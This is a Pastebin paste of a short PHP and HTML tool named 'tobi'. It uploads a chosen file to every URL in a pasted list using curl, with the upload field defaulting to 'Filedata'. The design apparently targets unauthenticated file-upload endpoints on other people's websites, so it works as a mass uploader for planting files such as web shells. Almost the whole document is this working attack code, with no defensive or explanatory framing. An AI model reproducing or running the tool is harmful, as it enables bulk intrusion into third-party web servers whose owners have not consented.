Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <title>tobi</title>
- <body style="background-color:black;">
- <center><br />
- <form action="" method="post" enctype="multipart/form-data">
- <font color="white">
- <input type="file" name="php">
- </font>
- <br /><font color="white">Parameter:</font><input name="utk" value="Filedata"><br />
- <textarea name="test" cols="80" rows="25" style="border:3px outset #339900; color:green; background-color:black;"></textarea><br>
- <button type="submit" value="UPLOAD" style="border:3px outset red; width:50%; height:50px; color:white; background-color:red;">UPLOAD</button>
- </form>
- </center>
- </body>
- </html>
- <?php
- $phps = $_FILES["php"];
- $para = $_POST["utk"];
- $fpl = $_FILES["php"]["tmp_name"];
- $filename = basename($_FILES["php"]["name"]);
- //fungsi
- //execu
- $array = preg_split('/(\r?\n)+/', $_POST['test']);
- foreach($array as $line)
- {
- if($phps != null)
- {
- echo "<center><div width='80%'><br /><font style='color:black; background-color:#339900;'>";
- echo "url:".$line." <font style='color:red; background-color:white;'>";
- $ch = curl_init();
- $data = array($para => "@".$fpl.";filename=".$filename);
- curl_setopt($ch, CURLOPT_URL, $line);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $tetek = curl_exec($ch);
- $buang = strip_tags("\n result :" . $tetek ."\n\n\n");
- echo $buang;
- echo "<br /></font></div></center>";
- }
- else
- {
- }
- }
- ?>
- <style>
- .phc
- {
- text-decoration:none;
- color:red;
- }
- </style>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement